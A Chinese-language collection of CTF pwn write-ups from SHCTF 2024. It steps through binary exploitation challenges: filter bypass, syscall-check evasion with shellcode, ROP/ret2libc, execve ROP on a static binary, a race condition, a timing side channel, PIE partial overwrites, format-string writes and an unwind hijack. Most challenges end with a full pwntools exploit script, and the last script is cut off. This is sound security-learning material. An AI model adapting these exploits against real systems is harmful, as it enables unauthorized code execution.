Pwn 练习合集
SHCTF 2024
1※ 签个到吧
-
考点:stdout 重定向
-
题目附件:签个到吧
-
打开 IDA,发现使用 strstr,这个函数严格匹配字符串,然后用 system 执行输入的命令:
-
那么我们只需要在 /bin/sh 中加入 linux 不识别的字符
\
,改为输入/bin/s\h
即可绕过 strstr 的严格匹配。 -
由于存在 close(1),关闭了标准输出,我们使用
exec 1>&0
重定向一下,将标准输出 重定向到与标准输入相同的位置:当前终端,相当于重启了标准输出。 -
那么我们写出完整 python 脚本:
from pwn import * p = remote("210.44.150.15",29453) p.sendline(b'/bin/s\\h') p.sendline(b'exec 1>&0') p.interactive()
-
然后就可以正常 cat flag 了:
2※ 指令执行器
-
题目附件:指令执行器
-
检查保护,发现没开 NX 和 Canary:
-
用 IDA64 打开,发现报错无法反编译:
-
发现是 call rdx 无法识别,我们将其 patch 成两个 90 变成空指令:
-
接着就可以查看伪代码,发现向栈中写入数据,并跳转到栈上去执行写入的数据:
-
但是执行之前有一个 check 函数,对输入的数据进行检查,不允许使用 syscall 指令:
-
但是关键是,程序只检查了 read 输入的内容:
-
我们可以先生成一个 shellcode,看一下里面的代码结构,用自带的 shellcraft 库,先 asm() 汇编再 disasm() 反汇编就可以看到类似 IDA 的效果:
context(arch='amd64',os='linux') print(disasm(asm(shellcraft.sh())))
-
我们可以看到,在 shellcode 的最后一句是 syscall,机器指令为
0f 05
。 -
那么我们可以将
0f 05
(即 syscall)输入到 nbytes 里面,即给输入的数据大小设置为 0x50f ,然后写入去掉 syscall 的 shellcode,在后面补充 nop 指令使其一直执行到 nbytes 这个变量,便可以执行 syscall 了,这样便可以通过检测: -
完整 exp:
from pwn import * from pwnlib.asm import disasm p = remote("210.44.150.15",22541) context(arch='amd64',os='linux') # print(disasm(asm(shellcraft.sh()))) py = asm(shellcraft.sh())[:-2].ljust(0x100,asm('nop')) p.sendline(b'1295') # 0x050f = 1295 p.send(py) p.interactive()
3※ No stack overflow2
-
题目附件:No stack overflow2
-
在 linux 下使用
checksec
查看该程序开启的保护,发现Arch
为amd64-64-little
,这说明这是一个 64位 的程序,并且采用了 小端 存储,即低位对应低地址,高位对应高地址。 -
下方的
RELRO
,这是一种通过设置 重定位相关表 的权限为 只读 来防止其被修改的安全机制,我们只关注其对 got 表的影响。Partial RELRO
指的是部分开启,此时 got 表被设置为:每个表项只有在未解析过该函数地址前是可写,载入地址后改为只读: -
不过我们暂时不关心,把 vuln 文件拖进 IDA64 打开,点击左侧 main,按 F5 反编译,发现程序主要功能是先读入一个长度,接着检测长度小于等于 256 时再读入最多这么长的字节:
-
我们看 IDA64 提示的存储地址,发现 nbytes_4 长度也是 0x100 即 256 个字节,难道无法溢出吗:
-
我们发现关键在于传入参数时,将长度转为了
unsigned int
无符号整数,这就使得首位的符号位被当做了数据,那么如果原先输入长度为 -1,二进制对应的0xFFFFFFFF
,那么转为无符号整数后就变为了 2147483647,就可以绕过上方的长度检测了: -
那么接下来就是要构造我们的 payload1 了,但是一个个查看左侧函数发现没有 system 相关的,按 Shift+F12 也没有发现
/bin/sh
字符串。 -
但是发现左侧有 puts 函数,那么我们可以考虑使用和上一题相同的方法:将 puts 函数的 got 表地址泄露出来,然后查询其在动态库中的位置,二者相减得到偏移量。 接着就可以先查询动态库中的 system 函数和字符串
/bin/sh
的位置,来计算出它们在程序中的位置,然后便可以构造 payload 模拟执行system("/bin/sh")
了。 -
那么我们先打开 ELF 文件,查询 puts 函数 plt 表,got表所在的地址,以及 puts 结束后返回的 main 函数的地址:
-
这里的
process('./vuln')
指的是先不连接服务器,而是用本地文件来模拟,方便我们调试: -
然后在第一处输入 -1 绕过长度检测:
-
但是我们忽然发现一个问题,本题与上一题不同的是,上一题是 32位 程序,所有参数均通过栈来传递,我们只需要将函数的传参压入栈中即可模拟函数执行。但是这题是 64位 程序,函数的前 6个 参数是依次通过 6个 寄存器来传递:rdi,rsi,rdx,rcx,r8,r9,之后的更多的参数才用栈来传递。这样使得程序运行的速度提升了不少,但是对于我们栈溢出攻击就不能直接通过栈来传参了,需要修改寄存器的值。
-
我们可以想到,
pop rdi
指令可以将栈内写入的内容传给 rdi 这样就可以修改它了,那么如果我们将pop rdi
指令所在的地址,放在函数返回的 ret 处,就可以修改 rip 下一条指令执行pop rdi
了! -
可是仅仅是这样,rip 跳转之后就回不来了,程序流程整个被打乱,所以我们需要找一个后面紧跟着 ret 指令的
pop rdi
,这样下一句还会执行 ret,将此时 rsp 自加过后的栈顶的内容给 rip,不就仍然等同于继续进行栈溢出攻击了吗。 -
同理,如果想要修改 rsi,rdx,也需要在程序中找到
pop rsi
随后 ret 的代码片段的地址,以此来传递参数模拟函数执行。这个过程就是所谓的构造 ROP 链。
-
我们可以通过使用
ropper
工具或是ROPgadget
工具,在 linux 下快速查找一个文件中出现指定字符串的位置,我们通过使用管道符来查找所有 pop 开头到 ret 结尾的字符串,再要求其中含有 rdi,写出以下命令查询:ropper --file vuln --search "pop|ret" | grep "rdi"
,发现成功找到一个: -
记录下这段程序所在的地址
pop_rdi_ret = 0x401223
,接下来就可以使用了。由于 puts 函数只需要一个参数,即输出的字符串的地址,我们只需要 rdi 来传参,所以现在可以开始构造 payload1 了: -
先填充 0x100 即 256个字节 给 nbytes_4,然后因为这是 64位 程序,要填充 8个字节 给 s 即 rbp,接下来在 r 处填入我们的
pop rdi;ret
程序的地址:p64(pop_rdi_ret)
,然后填入要修改的 rid 数据,即 puts 的传参,也就是要输出的字符串的地址:puts_got
。 -
然后填充
pop rdi;ret
返回回来后要执行的程序的地址,我们要输出 puts 函数的 got 表里的内容,所以这里填调用的输出函数 puts 的地址:puts_plt
。 -
最后填充 puts 函数输出完返回回来后要执行的下一个程序的地址,由于我们需要再次利用这里的栈溢出来执行
system("/bin/sh")
,所以填 main 函数的首地址。 -
可以看到此时已经将地址输出出来了,不过都是
\x
开头的 16 进制 bytes 数据。由于 64位 程序的地址都是以\x7f
开头的,并且由于这是个 小端程序,字符串地位置存储在低位置,所以输出出来是倒序的,所以我们可以用.recvuntil(b'\x7f')
读到\x7f
为止。 -
又由于虽然我们是 64位 程序虽然应该有 8 位,但使用时的编码都是以
\x7f
开头的 6位 编码地址,所以我们只要读进来的最后 6个字节: -
然后我们要对这个 16进制 的 bytes 数据用
u64()
进行解包,但是如果直接使用的话程序会报错: -
这是因为
u64()
每次解包需要输入 ,而刚才的地址不足 8位,我们需要在左侧用.ljust(8,b'\x00')
补\x00
将其补满 8位: -
此时再输出发现就是正确的一个整数地址了:
-
那么拿到了一个 puts 函数的 got 表的所在地址,接下来我们就可以通过查询动态库中 puts 函数的地址然后计算出偏移量啦。
-
不过这道题题目并没有把动态库文件直接给我们,我们需要根据泄露出来的 puts 函数的 got 表的所在地址来查询到系统所使用的动态库版本。
-
我们可以下载使用 LibcSearcher 这个 python 库来打开对应的动态库,只需要提供某个已知函数的具体地址即可:
-
接下来就和上一题一样了,查询 puts 函数在动态库的地址,计算出偏移量,然后查询 system 函数和
/bin/sh
字符串在动态库的地址,计算出在程序内的地址。不过要注意的是此时使用LibcSearcher
指令,需要用.dump("xxx")
来查询某个函数的地址,用.dump("str_bin_sh")
来查询字符串/bin/sh
的位置: -
此时运行时我们会发现,查找到多个匹配的动态库,程序询问我们要使用哪一个版本的,这是因为先前我们用的是
process('./vuln')
在本地调试。而如果连接到服务器上的时候就不需要我们进行选择了。 -
不过现在我们需要根据自己的 ubuntu 版本来选择对应的动态库,我们可以先按 Ctrl+C 退出程序,在 linux 中输入
ldd --version
来查询版本: -
可以看到第二行,我的是
2.39-0ubuntu8.3
,那么再次运行程序,这次就选择这个版本的动态库,填入程序提示的版本前方的编号 0 按回车,可以看到下方有一句该版本be choosed
就成功选择了: -
那么完事具备,我们现在已经执行到第二次 main 函数要求我们输入长度的位置了,再次输入 -1,然后开始构造我们第二次的 payload2:
-
先填充前面 0x108 个字符到 r 处与 payload1 一样,然后通过
pop di;ret
来传递 saystem 的参数:bin_sh_addr
, -
然后填充要执行的 system 函数的地址:
system_addr
-
最后的返回地址在哪里都无所谓,因为马上要得到系统权限进入交互模式了,并不会返回回来用上,直接不填。
-
但是!此时运行会发现并没有得到系统权限,反而报错退出了。这是因为这是采用了新的高版本的 gcc 编译器的 64位 系统,其在调用动态库中的 system 函数时,对 rsp 有额外的要求:
-
在准备进入 system 函数时,会对此时的 rsp 也就是栈顶进行一次检验,要求此时指向的地址必须能被 16 整除,也就是必须以 0 结尾,否则报错退出不予调用。
-
我们进入 IDA64 的 main 函数,点击 nbytes_4 查看栈空间,发现我们填充到 r 的位置以 8 结尾:
-
所以此时放在 r 中的
pop rdi;ret
的地址以 8 结尾,接下来/bin/sh
字符串的地址以 0 结尾,而 system 函数的地址以 8 结尾,就无法通过高版本的 rsp 检验。 -
那么我们需要再调用 system 函数之前额外填充一个 某段程序的地址,这样在执行 system 函数时 rsp 就以 0 结尾了。
-
最简单的就是找一个只有一句 ret 指令的地址,rip 执行原先函数的 ret 跳转到这里后,下一句还是将执行 ret,没有区别,但是此时 rsp 已经自加了一次。
-
所以我们用
ropper
指令寻找一个只有一句 ret 的程序,在 linux 下输入ropper --file vuln --search "ret"
查找: -
记录下程序的位置
ret = 0x40101a
,接下来只需要在调用 system 之前多填充一个 ret 的地址即可: -
此时运行完程序,在选择动态库版本输入 0 后,我们发现已经进入了交互模式,输入 ls 可以看到当前目录下的文件,大功告成:
-
最后调整为远程连接服务器,ls 一下发现有 flag,
cat flag
获取 flag: -
最后放上完整 exp(调整了一下顺序):
-
除了使用 LibcSearcher 在线查询动态库之外,我们还可以使用一个在线网站将服务器所使用的动态库下载下来:
https://libc.rip/
,使用的时候只需要输入,泄露的函数的名称,和泄露出来的函数的地址的后三位(16进制)即可: -
当然,如果用 puts 函数查不到对应的版本的话,可以试着用别的函数查询,网站的内容有时候明没有更新到最新(这里就是,我换成了 read 函数 ):
-
然后可以下载下来,本地进行调试(当然我们不知道服务器用的是哪一个,这只限于本地调试代码用的下载)。
3※ No stack overflow2 pro
-
考点:libc 静态链接
-
这题题目首先提示了,使用了静态链接,也就是将动态链接直接写入了程序中,这样就没有 plt 表和 got 表供我们使用了。
-
首先在 linux 下用
checksec vuln
查看文件保护情况: -
发现是 64位 小端程序,开了
Partial RELRO
,开了NX
保护,这个就是不允许执行存放在数据段的代码,也就是为什么我们之前,都要费尽心思往栈里面写别的程序的地址的原因:代码直接放在栈里面不允许执行。 -
接着是
Stack:Canary found
,这是指开启了Canary
保护:在进入函数前生成一个校验码压入栈中,在函数返回时检测校验码是否被修改,若被修改则判断栈发生了改变收到了溢出攻击,自动结束程序。这是对栈溢出攻击的防护。 -
那么接下来我们拖入 IDA64 中,发现左边乱七八糟一大堆,这正是因为静态链接引起的,将所有动态库里的函数全写进来了,如果查看过这个文件的大小的话,会发现它远远大于我们之前使用动态库连接技术的文件的大小:
-
我们找到加黑了的
main
,点击进入,F5 反编译,发现和上一题的代码一模一样,都是输入一个长度,然后转化为有符号的int
来进行判断大小,接着往 v9 中存入不超过先前读入的长度的字节。很明显这里存在着和前几题一样的栈溢出: -
那么我们记得先前有提到
Canary
保护,点开 v9 查看栈结构找找 校验值 存在哪里,但是发现 v9 下面直接就是s
和r
了,并没有找到Canary
保护的校验值存储的位置,那么就不需要理会了,直接正常溢出即可执行我们想执行的程序,也就是所谓的劫持程序。 -
我们需要模拟
system("/bin/sh")
,这在动态库里本质是输入指令syscall
,所以我们就需要一个写着syscall
指令的地址,用ropper --file vuln --search "syscall"
进行查找: -
发现很多个,我们随便选哪个地址都可以,因为执行完
syscall
指令后我们会获得系统权限进入交互模式,就不用管syscall
指令之后还有什么了,可以选最后一个syscall_addr = 0x41cbf6
: -
接下来我们要找字符串
/bin/sh
,按 Shift+F12,按 alt+T 查找字符串/bin/sh
,发现并没有跳转,不存在现成的字符串: -
所以我们只能自己找一个地址,往里面写入字符串
/bin/sh
。首先我们需要找一个有读和写权限的段,因为既要写进去也要读出来使用。我们按 Shift+F7 打开段视图,一般使用.bss
段,BSS
段通常是指用来存放程序中 未初始化 的或者 的 全局变量 和 静态变量 也就是说,只要初始值为 0 的类型,都会先放在这里,等到再次赋值时才会被取出。所以写在这里面可以全局使用。 -
我们点开
.bss
段,随便复制一个起始位置,bss_addr = 0x4E72C0
: -
那么接下来我们要往里面写数据,可以调用
read
函数,在左侧下方输入read
查找函数位置: -
点进去,复制函数入口位置,
read_addr = 0x44FD90
: -
我们发现
read
函数需要三个参数,由于这是 64位 程序通过寄存器传参,所以和上一题一样我们要去寻找pop rdi;ret
,pop rsi;ret
,pop rdx;ret
的程序的存放位置,来改变寄存器的值为read
函数传参: -
在 linux 下用
ropper --file vuln --search "pop|ret" | grep "rdi"
来找与rdi
相关的指令,在一大堆结果中找到紧挨着ret
的程序,pop_rdi_ret = 0x4022bf
: -
在 linux 下用
ropper --file vuln --search "pop|ret" | grep "rsi"
来找与rsi
相关的指令,同理找紧挨着ret
的程序,pop_rsi_ret = 0x40a32e
: -
在 linux 下用
ropper --file vuln --search "pop|ret" | grep "rdx"
来找与rsi
相关的指令时,发现没有紧挨着ret
的程序,我们找一个离ret
最近的程序,中间仍然多了一个pop rbx
,不过也可以用,每次多传一个 0 给rbx
即可,pop_rdx_rbx_ret = 0x49D06B
: -
最后在程序内找到
main
的起始地址,因为第一次溢出后我们输入字符串/bin/sh
还需要第二次溢出来执行system("/bin/sh")
,main_addr = 0x401B7A
: -
那么我们可以开始构造第一次溢出的 payload1 了,需要注意的是,这一个程序输入长度的时候用
(unsigned int)
输入,判断的时候转为(int)
判断,所以我们需要输入2147483679
,对应的二进制转化为(int)
就是 -1: -
然后构造 payload1,先用 0x100 + 0x08 个字节填充到
r
处,然后用寄存器为read
函数传参: -
第一个参数表示读取的文件,为 0 表示从控制台读入,我们
pop_rdi_ret
后传 0 -
第二个参数为存放的地址,我们
pop_rsi_ret
后传bss_addr
, -
第三个参数为最大的写入长度,可以大一点,我们
pop_rdx_rbx_ret
后传0x100
,然后传 0 给多的pop rbx
-
最后填充函数结束后返回的地址
main_addr
: -
且慢,这是 64 程序,需要检验一下调用
main
函数之前,rsp
是否指向的地址末尾为 0,可以简单数一下main
函数是第 9 条指令,第一条指令以 8 结尾,此时main
也以 8 结尾,无法通过检验。我们需要再填充一条指令进去,这就是所谓的平衡栈操作。 -
同上一题,我们再用
ropper --file vuln --search "ret"
找一下ret
指令的位置,取单独的指令,ret = 0x454257
: -
那么我们此时在进入
main
之前加一个ret
指令的地址来平衡栈,构造出 payload1: -
运行可以看到此时程序成功执行了
read
函数,在输入一串字符后重新开始执行main
函数了: -
接下来我们可以往这个
.bss
段里面写入/bin/sh
字符串了,需要注意的是字符串需要一个结束标识符\x00
,所以我们往里面写的应该是b'/bin/sh\x00'
: -
接着重新再来一遍
main
函数,还是先输入2147483649
绕过长度判断,然后开始构造 payload2 来执行我们的system("/bin/sh")
:
-
syscall
的本质是系统通过调用这条指令时rax
里面的值,来执行不同的函数,我们执行system("/bin/sh")
时需要令rax = 0x3b
来执行execve
语句。(在 32位 系统中,是用int 80h
代替syscall
,同时令eax = 0x0b
),所以我们需要找到修改rax
寄存器的代码段pop rax;ret
,和之前的那些一样,都是所谓的 gadget。 -
在 linux 中用
ropper --file vuln --search "pop|ret" | grep "rax"
来查找,pop_rax_ret = 0x4507f7
: -
那么接下来就可以继续构造我们的 payload2 了,先填充
0x108
个字符到r
,然后在pop_rax_ret
后传0x3b
修改rax
, -
接着为
syscall
传参数,一共有三个参数:第一个参数是字符串地址,
pop_rdi_ret
后传bss_addr
;第二和第三个参数涉及系统内核取参方式,系统空间与用户空间之间的协议,都设为 0 默认即可。
-
pop_rsi_ret
后传 0,pop_rdx_rbx_ret
后传 0 ,再传 0 给rbx
。 -
最后填入
syscall_addr
的地址,来调用系统的syscall
功能。 -
此时算一下是否栈平衡,我们数一下
syscall
的地址为第 10 个指令,此时rsp
末位为 0,无需调整。 -
运行成功获得系统权限,进入交互模式,输入
ls
成功输出当前目录下的内容: -
转为远程连接服务器再次运行,输入
cat flag
获得 flag: -
最后附上完整 exp(调整了下顺序):
2※ easy_competition
-
题目附件:easy_competition
-
本题考察条件竞争,不同进程或者线程竞争同一个资源导致的漏洞。
-
每当程序接收到远程连接时,会自动 fork 一个子进程执行 handle 函数,这里是允许多个子进程同时存在的。
-
handler 函数可以往 共享空间 buf 中写入一个任意指针,并会判断是否和flag 指针一致,不一致就会对 指针内容 与 flag 内容比较,比较成功就输出flag:
-
这里的操作都是基于
*buf
的,这就意味着指针比较,以及字符串比较都会进行解引用操作来得到地址。 -
由于这里是通过 共享空间 进行操作,子进程可以对 共享空间 同时进行操作,而两次解引用之间存在 2s 的时间差,这就导致我们可以先随便输入一个地址经过一层 指针不相等 的比较,再在 2s 内创建另一个子进程偷梁换柱,修改 buf 存放的指针为 flag 指针,即可绕过检查得到 flag:
from pwn import * p1 = remote("210.44.150.15",22287) p2 = remote("210.44.150.15",22287) flag_addr = 0x0404120 p1.send(p64(0)) sleep(1) p2.send(p64(flag_addr)) p2.close() p1.interactive()
-
本地由于没有 flag文件 和 key的文件,可能并不能打通,远程输出 flag:
4※ ez_sandbox
-
考点:侧信道攻击
-
题目附件:ez_sandbox
-
考察侧信道攻击,通过时间差比较的方式在没有输出的情况下推测出数据内容。
-
checksec 查看保护,发现除了 Canary 保护全开:
-
发现在初始化的时候申请了一大块权限为 7 ,即可读可写可执行的空间,初始地址赋给了 addr:
-
题目内容很简单,直接执行 read 进 addr 的内容,但是开了沙盒:
-
设置了一个只允许 read、open 系统调用的沙盒:
-
那么我们可以将 flag 读到程序中,却不能将其输出出来。好在我们可以自己构造 shellcode,在程序内进行字符串的比较。
-
进行如下 shellcode 构造:
push 0x67616c66//压入flag文件名到栈中 mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,2 syscall//open打开文件 mov rdi,3 mov rsi,rsp mov rdx,0x100 mov rax,0 syscall//读取flag文件内容到栈中 //开始字符串的比较 cmpb [rsp+{i}],{ord(j)} jz GotIt//若字符串的第i个字符为j就跳转到GotIt ret//否则直接退出 GotIt: mov rdi,0 mov rsi,rsp mov rdx,0x100 mov rax,0 syscall//GotIt会调用read读取用户输入,阻塞程序 ret
-
通过以上的 shellcode 构造,我们每次可以比较一个字符,如果字符正确就会调用 read 卡住,而不正确就会直接退出。通过时间差的比较,长时间没有断开连接报错 eof 就代表进入了 read 调用,也就代表字符正确,反之代表错误。
-
经过长时间的爆破,最后一个个字节匹配出了 flag:
-
最终 exp:
from tqdm import tqdm from pwn import * import string dic = string.printable[:10+26+26]+"{}_-" print(dic) context(arch="amd64",os="linux") flag = "" for i in range(0x40): for j in tqdm(dic): p = remote("210.44.150.15",38426) # "flag" = 0x66 0x6c 0x61 0x67 shellcode = f""" push 0x67616c66 mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,2 syscall mov rdi,3 mov rsi,rsp mov rdx,0x100 mov rax,0 syscall cmpb [rsp+{i}],{ord(j)} jz GotIt ret GotIt: mov rdi,0 mov rsi,rsp mov rdx,0x100 mov rax,0 syscall ret """ py = asm(shellcode) p.send(py) try: p.recv(10,timeout=2) p.close() flag += j print(flag) if j == '}': print(flag) p.interactive() break except: p.close() print(flag)
3※ ezorw
-
题目附件:ezorw
-
checksec 查看保护,发现除了 Canary 全开:
-
打开 IDA64,发现程序打开了 flag 文件,并将文件操作符记录在 fd 中,此时 fd = 3:
-
在 vuln 中发现存在栈溢出,然后用 close(fd),fd = 0:
-
由于题目开了 PIE,但什么库都没给,不方便 动态调试 栈内地址的偏移量泄露 libc,然后打 ret2libc。
-
那么我们打算构造 close(0) 关闭标准输入流,然后利用 read(0,buf,0x100) 在标准输入关闭时,将往后找 fd,找到打开的 flag 文件,将里面的内容输入到 buf 中,然后 puts(buf) 输出出来。
-
由于 PIE 会将程序按页对齐加载,发现 vuln 存在溢出的函数的倒数第二个字节为 0x12:
-
所以只需要更改 函数的最后一个字节地址,即可更改到相同页内的函数,可以在同为 0x1200 的 main 里找到 vuln 和 open 的地址:
vuln_last = 0xBB open_last = 0x97
-
由于执行完 vuln 后会 close(fd),fd 清空为 0,此时我们如果直接再次进入 vuln,在结束时便会 close(0) 关闭标准输入。
-
然后我们再返回到 open 的地址打开 flag 文件,然后顺序执行进入 vuln 要 read(0,buf,0x100),此时由于 标准输入 被关闭了,会往后找可用的 文件描述符 3,也就是 flag 文件,将里面的内容读到 buf。
-
接着执行 puts(buf) 就会将 buf 里面的 flag 内容输出出来了。
-
完整 exp:
from pwn import * p = remote("210.44.150.15",20930) vuln_last = 0xBB open_last = 0x97 py = b'a'*0x10 + b'A'*0x08 + p8(vuln_last) p.send(py) py = b'a'*0x10 + b'A'*0x08 + p8(open_last) p.send(py) p.interactive()
3※ json_printf
-
题目附件:json_printf
-
checksec 检查保护,没开 PIE,是 32 位程序:
-
拖进 IDA32 打开,结合题目提示 json,简单逆向一下。可以发现程序需要输入一个 json 格式的字符串,然后将其解析后检测里面的 name 需要为一个字符串,age 需要为数字 18,接着就可以传入 name 的值(字符串)进 backdoor:
-
backdoor 存在格式化字符串漏洞,dest 就是我们传入的 name 的值,需要将 0x8052074 位置的 dword 变量值改为 999:
-
那么我们只需要将 0x8052074 写在栈上,用 %hn 往里面写入 999 即可。先用
'DDDD' + ".%x"*20
来确定偏移量,接着写入即可。 -
需要注意的是,json 解析的时候以
\x00
截断,所以上传的 payload 里面不能用\x00
填充。 -
完整 exp:
from pwn import * p = remote("210.44.150.15",27681) data_addr = 0x8052074 # py = b'DDDD' + b'.%x'*20 py = b'%999c%10$hn'.ljust(12,b'a') + p32(data_addr) py = b'{"name":"'+py+b'","age":18}' p.sendline(py) p.interactive()
3※ json_stackoverflow
-
题目附件:json_stackoverflow
-
checksec 检查保护,无 Canary 无 PIE,是 32 位程序:
-
拖进 IDA32 打开,结合题目提示 json 格式,和上一题一样简单逆向一下,发现需要输入一个 json 格式的字符串,在解析后需要 name 对应一个字符串,age 对应一个非零数字,然后就可以将 name 的字符串传入 backdoor:
-
backdoor 内使用 strcpy 将传入的字符串复制到 dest 内,存在栈溢出。由于无 PIE 无 Canary,简单地打一个 ret2libc 即可。
-
需要注意的是,json 解析的时候以
\x00
截断,所以上传的 payload 里面不能用\x00
填充。 -
完整 exp:
from pwn import * p = remote("210.44.150.15",37800) elf = ELF("./pwn") libc = ELF("./libc.so.6") read_got = elf.got["read"] puts_plt = elf.plt["puts"] main_addr = 0x08049432 py = b'a'*0x48 + b'A'*0x04 + p32(puts_plt) + p32(main_addr) + p32(read_got) py = b'{"name":"' + py + b'","age":1}' p.send(py) p.recvuntil(b'age:134549524\n') read_addr = u32(p.recv(4)) libc_base = read_addr - libc.symbols["read"] system_addr = libc_base + libc.symbols["system"] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) print(hex(libc_base)) print(hex(read_addr)) print(hex(system_addr)) print(hex(binsh_addr)) py = b'a'*0x48 + b'A'*0x04 + p32(system_addr) + p32(main_addr) + p32(binsh_addr) py = b'{"name":"' + py + b'","age":1}' p.send(py) p.interactive()
3※ Awakening of SKYNET
-
考点:unwind 扰乱
-
题目附件:Awakening of SKYNET
-
checksec 检查保护,有 Canary 无 PIE:
-
在 try 的过程中报错,会触发 unwind 函数,终止原先的剩余的程序运行,所以处于原先程序内的 Canary 保护就不用考虑了。
-
而学习 unwind 原理可以知道,该函数在 throw 异常后会寻找原函数的 rbp 和 ret 的地址,作为 unwind 异常处理结束后的 rbp 和 ret。
-
需要注意的是,ret 的地址必须是某个 try 结束后的 catch 的首地址,也就是说必须返回到一个 catch 块内,然后指令块内的程序。
-
那么我们在程序内找一找有没有现成的 catch 块,在 IDA 里 Alt+T 搜索字符串 catch,发现一共有 3 个 catch:
-
由于 try ... catch 在 IDA 中反汇编时会将 try 结束的位置识别成直接 return,在反汇编视图里看不到部分的 catch 逻辑:
-
我们分析汇编代码,根据 IDA 的提示,第一个 catch 输出完异常提示后直接 exit 了:
-
分析第二个 catch 发现,在处理结束 异常输出后,会执行 system("/bin/sh"),即这是我们的 backdoor handler :
-
那么我们根据 IDA 里的注释提示,把调用这个 catch 的 try 的结束地址记录下来,就是 backdoor handler 的地址:
-
那么最后只需要栈溢出将 rbp 改为一个可写的地址(取 bss 段后方的地址),ret 覆盖为 backdoor handler 地址,即可获得权限。
-
完整 exp:
from pwn import * p = remote("210.44.150.15",46044) try_addr = 0x402749 bss_addr = 0x405800 py = b'a'*0x20 + p64(bss_addr) + p64(try_addr) p.send(py) p.interactive()
4※ TUTo的服务器
-
题目附件:TUTo的服务器
-
checksec 检查程序保护,发现保护全开,64 位程序:
-
寻找漏洞位置,main 中第二个 read 存在栈溢出漏洞:
-
进入 vuln 函数,发现也存在栈溢出漏洞,可以溢出 10 个字节覆盖 rbp 和 ret 的最后两个字节:
-
那么我们可以修改 i 的值,跳过更改 buf,将返回地址改为 vuln 中给 system 传参的地方。由于在 vuln 结束的时候 leave 了一次,现在的 rbp 为 main 的 rbp,那么现在的 [rbp+command] 并不是 vuln 函数内的 command 数组,而是 main 函数内 [rbp-30h]。
-
那么我们要在先前 main 内输入时,使 [rbp-30h] 为
/bin/sh\x00
,然后进入 vuln 不修改 rbp 只修改 ret 的地址,就可以执行 system("/bin/sh") 了。 -
由于开了 PIE,我们只能改最后两个字节然后爆破,每次有 十六分之一 的概率正好为程序所加载的地址。
-
我们传入 payload 后,下方 recvuntil 一个不可能得到的值,这样如果程序没有结束 eof 报错,就会执行这个 recv 卡主,否则触发 except 自动进行下一次爆破,可以有效解决网络不稳定问题。
-
完整 exp:
from pwn import * while True: try: p = remote("210.44.150.15",43602) # p = process("./TUTo的服务器") p.send(b'TUTo_shi_da_shuai_ge') py = (b'a' * (0x110-0x30) + b'/bin/sh\x00').ljust(0xf0,b'\x00') p.sendafter(b'code\n',py) system_addr = 0x138D # print(hex(0x30+0x08-1)) py = b'echo flag'.ljust(28,b'\x00') + b'\x37' + p16(system_addr) p.sendafter(b'do something\n',py) p.recvuntil(b'ShallowDream',timeout=1) p.interactive() break except: p.close()
5※ fmt_fmt
-
题目附件:fmt_fmt
-
checksec 检查保护,发现除了 Canary 全开,为 64 位程序:
-
存在 backdoor:
-
将程序通过 patchelf 更改 libc库 和 ld库:
-
IDA64 打开程序,发现 show_flag 函数内存在 fmt 漏洞,且 talk 函数内存在 栈上未初始化 的漏洞:
-
且在 show_flag 中,buf 的位置 [rbp-8h] 会被初始化为 ptr 全局变量,也就是格式化字符串的地址:
-
那么我们只需要先 show_flag 然后 talk,就可以往 ptr 里面读入数据了,先用
'DDDDDDDD' + b'.%x'*9
来测试偏移量,发现为 6: -
由于开了 PIE,我们需要泄露函数地址,求出程序 PIE基址,同时如果我们有一个栈上的链子,就可以实现任意写了。动态调试发现下方在偏移量为 21 的位置有一个链子,在偏移量为 23 的位置有 main 的地址:
-
那么我们可以计算出 backdoor 函数的地址了,现在问题是要往哪里写,我们找找栈上的返回地址在哪,通过链子可以修改其为 backdoor 函数的地址:
链子的地址指向 偏移量为28 的地址,要将 偏移量为28 的位置的地址写为 main函数 的返回地址,然后 %hhn 单字节写入偏移量 28 的位置,就可以修改 main 的 ret地址了。
-
那么我们需要把断点断在 main 函数内,查看 main 的返回地址与先前链子的偏移量,因为格式化字符串每次只修改一个字节,需要多次调用函数,不能修改 show_flag 的返回地址:
-
我们发现 main 的 ret 地址为 chain_addr + 0x18,并且它们只有最后两位可能不同,那么我们可以每次修改 main 的 ret 地址的其中两个字节,修改 3 次将其改为 backdoor 的地址。
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from itertools import chain from time import * import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = '210.44.150.15'; port = '39532' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './fmt_fmt' ld_name = './ld-linux-x86-64.so.2' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) libc_name = './libc.so.6' libclib = cdll.LoadLibrary('./libc.so.6') p = process(file_name) else: libc_name = 'libc.so.6' libclib = cdll.LoadLibrary('./libc.so.6') p = remote(ip,port) ld = ELF(ld_name) elf = ELF(file_name) libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def cmd(idx): sla(b'3. exit\n',str(idx).encode()) def talk(content): sla(b'talk to?\n',b'0') sla(b'what you want to say?',content) def pwn(): cmd(2) # py = b'DDDDDDDD' + b'.%p'*0x9 # 6$ py = b'%21$p,%23$p,' talk(py) main_pie = 0x13FB backdoor_pie = 0x1267 # db() # -> delta_chain = 21 delta_main = 23 delta_aim = 28 cmd(2) chain_addr = int(rud(b','),16) main_addr = int(rud(b','),16) elf_base = main_addr - main_pie backdoor_addr = elf_base + backdoor_pie print(hex(elf_base)) print(hex(main_addr)) print(hex(backdoor_addr)) print(hex(chain_addr)) # db() # -> main_ret_addr = chain_addr + 0x18 main_ret_addr = chain_addr + 0x18 for i in tqdm.tqdm(range(3)): py = f"%{(main_ret_addr + i*2)&0xffff}c%21$hn".encode() # 